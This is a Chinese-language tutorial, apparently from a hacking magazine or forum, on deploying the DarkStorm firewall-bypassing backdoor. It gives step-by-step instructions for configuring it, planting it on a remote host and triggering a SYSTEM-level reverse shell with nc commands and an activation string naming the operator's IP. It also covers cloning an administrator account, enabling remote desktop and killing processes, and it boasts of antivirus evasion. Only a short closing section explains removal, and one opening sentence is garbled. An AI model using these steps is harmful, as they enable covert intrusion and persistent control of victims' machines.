今天要為大家介紹的DarkStorm BePassFireWall BackDoor V1.2是一款成功率極高的反彈端口穿透防火墻的后門程序（以下簡稱DBB），可以穿透99%的防火墻。該后門采用線程插入技術(shù)，隱蔽性極高，在系統(tǒng)中以服務(wù)形式加載，擁有system權(quán)限，一旦運行，很難將其刪除。同時，最重要的是，現(xiàn)在還沒有殺毒軟件能夠查殺它，可以說是現(xiàn)在理想的后門程序了。下面就讓我們一起來領(lǐng)略一下DBB的獨到魅力吧！
一、配置后門
第一步當(dāng)然是把三、輕松操縱當(dāng)回家，在使用后門前，請先用壓縮包內(nèi)的config DarkStorm.exe程序配置后門。雙擊運行config DarkStorm.exe，打開如圖1所示的配置對話窗口，根據(jù)提示輸入相關(guān)數(shù)據(jù)。其實，該后門支持不經(jīng)過配置就可直接使用，這時將使用后門的默認配置：反向連接端口是8888，關(guān)鍵字是NOIR，服務(wù)名是DNScnsvc。
小提示：DBB后門服務(wù)端由DarkStorm.exe和DarkStorm.dll組成，這兩個exe和DLL文件是可以改名的，但是必須要改成同樣的名字，比如，可以把exe文件改名為123.exe，那么dll文件也要相應(yīng)的改名為123.dll。
二、打開后門
要運行后門很簡單，只要將exe和dll文件上傳到遠程主機上之后，直接運行exe文件，后門即可被加載。
小提示：exe文件和dll文件不必一定要放到system32中，但必須在同一文件夾下。
大家都知道，現(xiàn)在很多情況下主機是在防火墻后面的，如何讓后門來逃避防火墻的火眼金睛呢？這就需要用反向連接功能。DBB是通過嗅探激活字符來啟動反向連接的，僅支持nc反向連接。
首先在本地計算機中使用nc監(jiān)聽本地計算機的8888端口，進入命令行狀態(tài)，運行如下命令： nc -l -p 8888。然后再用nc連接目標(biāo)主機的任何一個防火墻允許的TCP端口（80/139/445.....），接著再開一個命令行窗口，運行命令：nc 220.202.242.101 139，然后輸入激活命令：NOIR:220.202.242.98:8888。其中220.202.242.101為木馬服務(wù)端IP地址，NOIR為反彈激活字，220.202.242.98：8888為反向連接的IP地址，也就是本機IP地址及端口。如果反向連接成功，就會在本地計算機中得到目標(biāo)主機的一個系統(tǒng)權(quán)限SHELL（如圖2）。
三、輕松操縱
當(dāng)成功獲取了目標(biāo)計算機的一個系統(tǒng)權(quán)限的SHELL后，就等于已經(jīng)手握該臺計算機的生殺大權(quán)。令人更加欣喜的是，DBB還擁有一些非常實用的控制功能。
1.帳戶克隆
為了下次能夠順利控制目標(biāo)計算機，一般的手法就是克隆一個系統(tǒng)權(quán)限的帳戶，在這里，使用clone命令就可以輕松克隆一個本地用戶。其語法格式為：clone username clonename password，其中，username是被克隆的用戶的用戶名，一般是administrator；clonename是你要克隆為username的用戶名，一般是guest；password是你為克隆用戶設(shè)置的密碼，最長32位。例如，要把Guest克隆為管理員帳戶，并且設(shè)置密碼為snow，就只要運行命令：clone administrator guest snow（如圖3）。
2.開啟終端服務(wù)
遠程終端服務(wù)可以說是最為理想的遠程控制方式，因此，當(dāng)成功入侵目標(biāo)計算機后，大部分人總是想方設(shè)法來開啟被控計算機的終端服務(wù)。雖然說開啟3389終端服務(wù)的方法有很多，可都是有一定難度的。不過還好，有了該后門，只要用一條命令就可以輕松開啟3389服務(wù)，其命令為：term port。例如：運行命令“term 3389”（如圖4），這樣就將開啟目標(biāo)計算機的端終服務(wù)，終端服務(wù)通訊端口為3389，重新啟動計算機即可生效。
小提示：終端服務(wù)只在Windows 2000服務(wù)器以上版本才擁有。
3.進程管理
想知道目標(biāo)計算機運行了哪些程序嗎？很簡單，運行命令：pslist，這樣就可以顯示本地所有用戶進程和相對應(yīng)的pid號。如果想結(jié)束某一進程的運行，請運行命令：pskill pid，提示：pid指的是進程ID號（如圖5）。
另外，還有諸如Logoff（注銷當(dāng)前用戶）、Reboot（重啟系統(tǒng)）、Shutdown（關(guān)閉系統(tǒng)）、Poweroff（關(guān)閉電源）等命令可供使用。
四、封殺后門
如果不幸中了該后門，可以通過如下方法來刪除。打開注冊表編輯，依次展開如下子鍵：HKEY_LOCAL_MACHINESYSTEMCurrentControlSet
Services，找到并刪除該子鍵下的DNScnsvc鍵（如圖6），再重新啟動系統(tǒng)即可。若服務(wù)名是自己設(shè)定的，請刪除相關(guān)服務(wù)名的子鍵。
小提示：本地計算機即接受反向SHELL的系統(tǒng)，必須擁有獨立公網(wǎng)IP上網(wǎng)的計算機。另外，由于該后門使用的是無驅(qū)動的嗅探，無法嗅探本機對本機發(fā)起的數(shù)據(jù)請求，所以在對本機的測試中，是無法成功的。
